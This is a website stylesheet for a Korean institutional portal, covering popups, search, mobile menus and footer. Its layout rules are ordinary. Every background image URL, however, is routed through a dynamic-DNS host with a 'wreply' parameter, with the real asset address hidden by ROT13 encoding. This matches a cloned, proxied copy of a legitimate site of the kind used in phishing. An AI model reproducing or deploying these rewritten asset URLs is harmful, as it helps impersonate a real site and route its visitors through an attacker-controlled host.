    overflow-y: auto;
  }
  .popupWrap .popupContents {
    padding: 30px 30px ;
    background: #fff;
    border-radius: 0px 0px 6px 6px;
  }
  .pop_img{
    position: relative;
    width: 100%;
    padding-top: 66%;
    border: 1px solid #ddd;
  }
  .pop_img img{
    position: absolute;
    top: 50%;
    left: 50%;
    transform: translate(-50%, -50%);
    -webkit-transform: translate(-50%, -50%);
  }

  .dim_layer .dimBg{
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background: #000;
    opacity: .5;
  }
  .popup .pop_exit{
    position: absolute;
    right: 30px;
    top: 17px;
  }
  .popup .pop_exit a{
    display: block;
      width: 25px;
      height: 25px;
      background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgrnz.xbfnp.er.xe%2S_fgngvp%2Sfgrnz%2Svzt%2Sfho%2Scbc_pybfr.cat) no-repeat center;
  }
  .popup_cont > p{margin-bottom: 20px;
    color: #2c2c2c;
    text-align: center;
  }

  .pop_slide .slick-dots{
    position: absolute;
    bottom: -44px;
    left: 50%;
    display: inline-block !important;
    width: auto;
    transform: translate(-50%, 0);
    -webkit-transform: translate(-50%, 0);
    height: 18px;
  }
  .pop_slide .slick-dots li button{
    width: 20px;
    height: 20px;
    border-radius: 50%;
    border: 2px solid #ccc;
    padding: 0;
  }
  .pop_slide .slick-dots li.slick-active {
    width: 18px;
    height: 18px;
  }
  .pop_slide li.slick-active button {
    background: #191a1c;
    border-color: #191a1c;
    width: 18px;
    height: 18px;
  }
  .pop_slide .slick-dots li button:before{display: none;}


  .pop_list { margin-top: 20px; }


/* 통합검색 */

.all_search_inner .as_inner {
    position: relative;
    width: 100%;
    background: #eff9fe;
    padding: 55px 0 45px 0;
}

.all_search_inner .as_inner .search_ver {
    top: 0;
    left: -10px;
    width: 47.616%;
    margin: 0 auto;
    position: relative;
    transform: none;
    -webkit-transform: none;
    z-index: 2;
    height: 42px;
    border: 1px solid var(--maincolor);
}
.all_search_inner .as_inner .search_ver a.btn_newserch {
text-indent: -9999px;
background: url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgrnz.xbfnp.er.xe%2S_fgngvp%2Sfgrnz%2Spff%2S..%2S..%2S..%2S_fgngvp%2Sfgrnz%2Svzt%2Spbzzba%2SfrnepuOg2.cat") no-repeat 0 0;
}

.all_search_inner .as_inner .search_ver .head_serch {
height: 40px;
width: 100%;
}
.all_search_inner .as_inner .search_ver .head_serch:focus {
    background: #dff4ff;
    outline: none;
}


.tmbWrap ul.tab_split {
    display: flex;
    justify-content: left;
    line-height: 3.1;
    border-bottom: 1px solid var(--maincolor);
}

.tmbWrap ul.tab_split li {
    display: block;
    width: 100%;
    text-align: center;
    background: #f5f5f5;
    border-right: 1px solid #fff;
    font-size: 15px;
}
.tmbWrap ul.tab_split li a {
    color: #777;
    display: block;
}
.tmbWrap ul.tab_split li a:not(:first-child) {
    display: none;
}

.tmbWrap ul.tab_split li.on {
    background: var(--maincolor);
}
.tmbWrap ul.tab_split li.on a {
    color: #fff;
}


.tmbWrap .tab_btn_mo, .tmbWrap .tab_split_mo, .tmbWrap .tbSkin {
    display: none;
    width: 100%;
    border: 2px solid #ddd;
    margin-bottom: 3vw;
    min-height: 50px;
    border-radius: 5px;
    background: #fff url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgrnz.xbfnp.er.xe%2S_fgngvp%2Sfgrnz%2Svzt%2Sfho%2Sfryrpg_neebj.cat) no-repeat center right 12px;
    -webkit-appearance: none;
    -moz-appearance: none;
    appearance: none;
    text-indent: 15px;
    font-family: 'Noto Sans KR', sans-serif, 'Roboto', 'Dotum';
}

/* // 통합검색 */

@media all and (max-width:1500px){
/* 네비-배너 */
.navBanner { padding-right: 5%; }
}

@media all and (max-width:1440px){
.headerWrap .header .gnbArea { width: 96%; }
.headerWrap .header .gnbArea .gnb>li>a { font-size: 1.1rem; }
}

@media all and (max-width:1340px){

}

@media all and (max-width:1200px){

.search_top > a{padding: 5px 10px 6px;}

.sitemap>li:nth-child(4){padding-left: 0.7%;}
.sitemap > li > a{font-size: 1.375em;}
.sitemap > li > a.on > span:after{bottom: -4px;}

.ft_sns_list{position: static; margin-top: 10px; margin-left: 10px;}
.footer_area .foonter_info{margin-top: 10px;}


.headerWrap .header .gnbArea .gnb { padding: 0 2%}

}


@media all and (max-width:1024px){


/*통합검색*/
.tmbWrap ul.tab_split { display: none; }
.tmbWrap .tab_btn_mo, .tmbWrap .tab_split_mo, .tmbWrap .tbSkin {
    display: block;
}

/* // 통합검색 */

/* 네비-배너 */


.navBanner {
    position: absolute;
    right: 5%;
}
.m_gnb_top{display: table;table-layout: fixed;width: 100%;
    border-collapse: collapse;
}
.m_gnb_top > a{display: table-cell;text-align: center;border: 1px solid #ddd;padding: 4px;}
.m_gnb_top > a:before{
    content: '';
    display: block;
    background-repeat: no-repeat;
    background-position: center;
    background-size: 100%;
    margin: 0 auto 5px;
}
.m_gnb_top > a:nth-child(1):before{
    background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgrnz.xbfnp.er.xe%2S_fgngvp%2Sfgrnz%2Svzt%2Spbzzba%2Sfvqr_vpba1.cat);
    width: 20px;
    height: 20px;
}
.m_gnb_top > a:nth-child(2):before{
    background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgrnz.xbfnp.er.xe%2S_fgngvp%2Sfgrnz%2Svzt%2Spbzzba%2Sfvqr_vpba2.cat);
    width: 24px;
    height: 22px;
}
.m_gnb_top > a:nth-child(3):before{
    background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgrnz.xbfnp.er.xe%2S_fgngvp%2Sfgrnz%2Svzt%2Spbzzba%2Sfvqr_vpba3.cat);
    width: 21px;
    height: 19px;
}

.m_gnb_top > a span{font-size: 0.938em;}

.search_wrap.search_on:after{display: none;}

/* head */
.headerWrap.scrolled{top: 0; border-bottom: 0;}
.head_side{display: none;}
.headerWrap .headTop{display: none;}
.headerWrap .header .logo{
 display: block;
 position: absolute;
 top: 50%;
 bottom: auto;
 left: 15px;
 transform: translate(0,-50%);
 -webkit-transform: translate(0, -50%);
 padding: 0;
}
 /* .header{display: none;} */
 .headerWrap .header {width:100%; height:100%; border-top: 0; position: relative; border-bottom: 1px solid #e3e3e4;}

 .view_wrap .hamburger{width: 40px;}
 .headerWrap .header .gnbArea {height: 99px; }
 /* .headerWrap .header .gnbArea .logo{display: block; top: 50%; left: 50%; transform: translate(-50%,-50%); -ms-transform: translate(-50%,-50%); -webkit-transform: translate(calc(-50% + 0.5px),calc(-50% + 0.5px));} */
 .headerWrap .header .gnbArea .gnb{ display:none; }
 .headerWrap.scrolled .header{border-bottom: 1px solid #e3e3e4;}
 .headerWrap .header .ht-menu { display: none; }

 .logo_m{display: block; text-align: center; padding-top: 20px;}
 .logo_m a{display: block;
    display: block;
    position: absolute;
    top: 50%;
    left: 50%;
    transform: translate(-50%, -50%);
    -webkit-transform: translate(-50%, calc(-50% - 0.5px));
 }

 /*모바일 메뉴*/
 .mobGnb {position:fixed;top:0;right:0;z-index:100;margin-right:-100%;width:55%;background:#fff;height:100%; padding-bottom: 400px; overflow-y: scroll; transition: width 0.5s;}
 .mobGnb .mobTM { display: flex; justify-content: space-between; background: var(--maincolor); line-height: 3.5; padding: 0 4%;}
 .mobGnb .mobTM ul { display: flex; gap: 10px; }
 .mobGnb .mobTM ul li a { color: #fff; }
 .mobGnb .mobTM .mobXbtn img { vertical-align: middle; }

 .headerWrap.scrolled .mobGnb{border-top: 0;}
 .mobGnb .m_gnb { position: relative; height: 100%; padding: 1vw 3vw;}

 .mobGnb .m_gnb > li{width:100%;display:block; position: relative; border-bottom: 1px solid #ddd; }
 .mobGnb .m_gnb > li:first-child{margin-top: 0;}
 .mobGnb .m_gnb > li > a {
    display: block;
    font-size: 16px;
    font-weight: 500;
    color: #0c0c0c;
    overflow: hidden;
    width: 100%;
    position: relative;
    padding: 20px 0;
    transform: rotate(-0.03deg);
}
.mobGnb .m_gnb li > span > a {
    width: 70%;
}
 .mobGnb .m_gnb > li > a.on{
    color: var(--maincolor);
    border-bottom: 3px solid var(--maincolor);
 }
 .mobGnb .m_gnb > li > a::after,
 .mobGnb .m_gnbS > li > a::after {
    content: "";
    background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgrnz.xbfnp.er.xe%2S_fgngvp%2Sfgrnz%2Spff%2S..%2Svzt%2Spbzzba%2SzboNee.cat) no-repeat right center;
    width: 19px; height: 18px;
    position: absolute; right: 0;
    top: 50%;
    transform: translateY(-50%);
 }

 .mobGnb .m_gnb li span > .mobArr {
    width: 20%;
 }
 .mobGnb .m_gnb li span > .mobArr::after {
    content: "";
    background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgrnz.xbfnp.er.xe%2S_fgngvp%2Sfgrnz%2Spff%2S..%2Svzt%2Spbzzba%2SzboNee.cat) no-repeat right center;
    width: 19px; height: 18px;
    margin-top: -3px;
    display: block;
    margin-left: auto;
 }
 .mobGnb .m_gnb li > span.on > .mobArr::after,
 .mobGnb .m_gnb li > span > a.on + .mobArr::after
  {
    content: "";
    display: block;
    background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgrnz.xbfnp.er.xe%2S_fgngvp%2Sfgrnz%2Spff%2S..%2Svzt%2Spbzzba%2SzboNee.cat) no-repeat left center;
    width: 19px; height: 18px;
    margin-top: -3px;
    margin-left: auto;
 }

 .mobGnb .m_gnb > li > a.on:after,
 .mobGnb .m_gnbS > li > a.on:after{
    background-position: left center;
 }
 .m_gnbS > li:not(:has(.depth3)) > a::after {
	content: none;
}
 .mobGnb .m_gnb > li > .m_gnbS{overflow: hidden;position: relative;background: #fff;right: 0;top: 0;width: 100%;display: none; padding: 1.5vw 0;}
 .mobGnb .m_gnb > li > .m_gnbS.on{display: block;}

 .mobGnb .m_gnb > li > .m_gnbS > li > a {
    display: block;
    background-repeat: no-repeat;
    background-position: right 10px center;
    background-size: 11px;
    font-size: 15px;
    padding: 5px 0;
    line-height: 2.5;
    transform: rotate(-0.03deg);
}
.mobGnb .m_gnb > li > .m_gnbS > li > a.on {
    font-weight: 500;
    color: var(--maincolor);
    margin-bottom: 2vw;
}
.mobGnb .m_gnb > li > .m_gnbS > li > a::before {
    content: "";
    width: 3px; height: 3px; background: #333;
    border-radius: 100%;
    display: inline-block;
    margin-right: 10px;
    vertical-align: middle;
    position: relative; top: -1px;

}
.mobGnb .m_gnb > li > .m_gnbS > li > a.on::before {
    content: "";
    width: 3px; height: 3px; background: var(--maincolor);
    border-radius: 100%;
    display: inline-block;
    margin-right: 10px;
    vertical-align: middle;
    position: relative; top: -1px;
}

.mobGnb .m_gnb > li > .m_gnbS > li > a,
.mobGnb .m_gnb > li > .m_gnbS > li > span > a {
   display: block;
   background-repeat: no-repeat;
   background-position: right 10px center;
   background-size: 11px;
   font-size: 15px;
   padding: 15px 0;
   transform: rotate(-0.03deg);
}
.mobGnb .m_gnb > li > span {
   padding: 20px 0;
}
.mobGnb .m_gnb li > span {
   display: flex;
   align-items: center;
   justify-content: space-between;
}

 .mobGnb .m_gnb > li > .m_gnbS > li > a span{/* font-weight: 500; */display: inline-block;vertical-align: middle;}
 .mobGnb .m_gnb > li > .m_gnbS > li ul{ display: none; background: #f9f9f9; box-sizing: border-box; padding: 3%; margin-bottom: 1.8vw;}
 .mobGnb .m_gnb > li > .m_gnbS > li ul li{ padding:0 0 0 10px; position:relative; }
 .mobGnb .m_gnb > li > .m_gnbS .depth3 a::before {
    content: "";
    width: 7px; height: 2px;
    background: #333;
    display: inline-block;
    margin-right: 10px;
    vertical-align: super;
 }
 .mobGnb .m_gnb > li > .m_gnbS > li ul li a { color:#555; font-size: 15px; display: inline-block; vertical-align: middle; line-height: 2.2;}
 .mobGnb .m_gnb > li > .m_gnbS > li ul li a img{
    vertical-align: middle;
    margin-left: 5px;
 }

  .m_header{display: block;}
  .headerWrap .m_header .logo{ display: block; position: absolute; top: 50%; left: 50%;
     transform: translate(-50%,-50%);
  -ms-transform: translate(-50%,-50%);
  -webkit-transform: translate(calc(-50% + 0.5px),calc(-50% + 0.5px));
  }


 .search_wrap{top: 98px; height: 80px;}


 /*우측 상단 버튼*/
 .view_wrap{
    right:auto;
    left: 95%;
    height: 20px;
}
 .ser_open_btn{
    top: 50%;
    transform: translateY(-50%);
    -webkit-transform: translateY(-50%);
    right:15px;
}

.join_wrap {
    display: table;
    table-layout: fixed;
    width: 100%;
    max-width: 480px;
    /*-*/
    position: absolute;
    bottom: 130px;
    left: 50%;
    transform: translateX(-50%);
}
.join_wrap a{
    display: table-cell;
    color: #272727;
    line-height: 1;
    position: relative;
    font-size: 1.125em;
    text-align: center;
    font-weight: 300;
}
.join_wrap a:after{
    content: '';
    width: 1px;
    height: 12px;
    position: absolute;
    top: 50%;
    right: 0px;
    background: #ccc;
    margin: -5px 0 0;
}
.join_wrap a:last-child:after{display: none;}

.footer_area{padding-left: 20px;}
.footer_menu{margin-left: 20px;}
.footer_link_area {margin-right: 20px;}
.footer_btm .flogo, .footer_btm .fcall { display: none; }
}
@media all and (max-width:860px){

    .all_search_inner .as_inner {padding: 8vw 3vw;}
    .all_search_inner .as_inner .search_ver {width: 94%;left: 0;}

 .mobFade{top: 99px;}


 .search_ver{width: 80%;}
 .footLogo{display: none;}



 .footer_btm {font-size: 0.875rem;}


 .footer_area{padding: 0 0 0 20px; margin-top: 15px;}
 .footer_area .foonter_info{text-align: center;}
 .footer_area .footer_logo{text-align: center;}


 .footer_menu{height: auto;}
 .footerWrap .m_call_list {position:relative; display: block;}
 .footerWrap .m_call_list .foot_site_btn {display:inline-block;vertical-align: middle;position:relative;padding-left: 20px;width:100%;height: 45px;line-height: 43px; text-align: left;background: #1F222B;border-bottom: 1px solid #515563;}
 .footerWrap .m_call_list .foot_site_btn span{color: #d5d6d6;}
 .footerWrap .m_call_list .foot_site_btn .arr{position: absolute;top: 0;right: 0;display: inline-block;width: 44px;height: 44px;border-left: 1px solid #515563;}
 .footerWrap .m_call_list .foot_site_btn .arr img {position:absolute; transform:rotate(180deg); left:15px; top:50%; margin-top:-3px; font-size:12px; transition:all 0.3s;}
 .footerWrap .m_call_list .foot_site_btn.on .arr img { margin-top:-4px; transform:rotate(0deg);}
 .footerWrap .m_call_list .foot_site_menu {display:none;position:absolute;left:0;bottom:43px;z-index:1;overflow:auto;width:100%;background-color: #292e3e;}
 .footerWrap .m_call_list .foot_site_menu li{border-bottom: 1px solid #e0e0e0;}
 .footerWrap .m_call_list .foot_site_menu li strong{/* font-size: 0.875em; */display: block;line-height: 1;color: #fff;margin-bottom: 3px;}
 .footerWrap .m_call_list .foot_site_menu li a {display:block;height: 45px;/* line-height: 45px; */padding-left:20px;padding: 5px 0 5px 20px;color: #d5d6d6;font-size:0.875em;}
 .footerWrap .m_call_list .foot_site_menu li.info a {color:#235788;}
 .footerWrap .m_call_list .slt_btn{color: #a0a0a0; border: 1px solid #585858; width: 60px; height: 45px; display: inline-block; vertical-align: middle; line-height: 43px;}

 .ft_sns_list{position: static; max-width: 130px; margin: 20px auto;}
 .ft_sns_list li:first-child{margin-left: 0;}
}

@media all and (max-width:720px){


    .ft_inner {
        flex-direction: column-reverse;
        align-items: center;
        row-gap: 4vw;
    }
    .ft_inner > ul.data-gather {
        font-size: 0.875rem;
    }
    .ft_inner > .familyWrap {
        width: 100%;
        max-width: inherit;
    }


    .mobGnb {width:70%;}
}

@media all and (max-width:640px){










}

@media all and (max-width:580px){




/* header */
 .m_gnb_top > a span{ font-size: 0.813em; }
 .logo_m a{ width: 88px; }

 /* search */
 .search_wrap { height: 60px; top: 59px; }
 .search_ver { width: 95%; height: 36px; }
 .search_ver .head_serch{
    font-size: 14px;
    height: 32px;
    padding: 0 15px;
    width: calc(100% - 41px);
}
 .search_ver .btn_newserch{ width: 20px;height: 23px;background-size: 20px; }

 /*모바일 메뉴*/

 /* m_menu */
/*  .mobGnb .m_gnb { padding:0 0 20px; height: 100%;}
 .mobGnb .m_gnb > li > a{ padding:10px 10px; text-decoration:none; font-size: 0.875em; height: 40px; letter-spacing: -0.04em;}
 .mobGnb .m_gnb > li > .m_gnbS > li:nth-child(-n+2){margin-top: 0;}
 .mobGnb .m_gnb > li > .m_gnbS > li > a{padding: 10px 15px 10px 5px; height: 40px; line-height: 20px; font-size: 0.813em; letter-spacing: -0.04em; background-size: 7px;}
 .mobGnb .m_gnb > li > .m_gnbS > li ul li a{font-size: 0.813em; line-height: 30px;}
 .mobGnb .m_gnb > li > .m_gnbS > li ul li:after{top: 13px;}
 .mobGnb .m_gnb > li > .m_gnbS > li > a span{display: block;} */
 .headerWrap .header .logo{left: 15px;}
 .view_wrap .hamburger{width: 30px;}
 .join_wrap { bottom: 83px; }
 .join_wrap a{ font-size: 1em; }
 .join_wrap a:after{ height: 9px; margin: -3px 0 0; }


 /* footer */
 .logo_m{padding-top: 15px;}
 .logo_m img{width: 77px;}
 .ft_sns_list{margin: 10px auto;}
 .footerWrap .footer .m_area{padding: 10px 10px 27px;}
 .footerWrap .footer .address{font-size: 0.813em; word-break: keep-all;}
 .footer_area .foonter_info p{font-size: 0.813em; margin-top: 0; line-height: 1.5;}
 .ft_inner > ul.data-gather { width: 90%; justify-content: space-between; gap: 3vw 2vw; justify-content: space-around; }
 .ft_inner > ul.data-gather li::after { display: none; }
 .footer_btm .address li { display: block; }
 .footer_btm { text-align: center; }
}


@media all and (max-width:440px){

.navBanner { display: none; }


/* 모바일메뉴 */
.mobGnb { width: 100%; }


}

.snb_link form select {
    border: none;
    font-size: 0.938em;
}

.footer select#about-site {
    -webkit-appearance: none;
    -moz-appearance: none;
    appearance: none;
    padding: 16px 0 16px 26px;
    background: #535353 url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgrnz.xbfnp.er.xe%2S_fgngvp%2Sfgrnz%2Spff%2S..%2Svzt%2Spbzzba%2Sgevnatyr.cat) no-repeat right 14px center;
    border: 2px solid #fff;
    border-radius: 10px;
    cursor: pointer;
    color: #fff;
    vertical-align: middle;
    font-size: 1rem;
    letter-spacing: -0.025em;
}

/* lnb css */
/* 서브페이지 */
.nav_bar {position:relative; z-index:15;}
.nav_bar .sub_nav_bar{display: none;}
.nav_bar > ul{ height: auto; margin: 0 auto;}
.nav_bar > ul > li {float: left; font-size: 16px; white-space: nowrap;}
.nav_bar > ul > li > a{padding-left: 20px;}
.nav_bar > ul > li+li,
.nav_bar > ul > li:last-child {width: 300px;}
.nav_bar > ul > li+li {position: relative; text-align: left;}
.nav_bar > ul > li+li span {display: inline-block;width: 8px;height: 8px;transform: rotateZ(45deg)translateY(-45%);border: 3px solid #000;position: absolute;right: 20px;top: 45%;border-top: none;border-left: none;cursor: pointer;}
.nav_bar > ul > li > ul {border-left: 1px solid #888; border-right: 1px solid #888; border-bottom: 1px solid #888;}


.nav_bar .sub_nav_bar > li:first-child{border-top:1px solid #4d9cca;}
.nav_bar .sub_nav_bar > li a {padding:0 20px; }
ul > li.first_nav .depth04 {display: none; background: #fff; color: #333;}
ul > li.first_nav .depth04 li a {line-height: 40px; font-size: 14px; border-bottom: 1px solid #777;}
ul > li.first_nav .depth04 li:last-of-type a {border-bottom: none;}

.nav_bar .clearfix:after { content: ""; display: none;}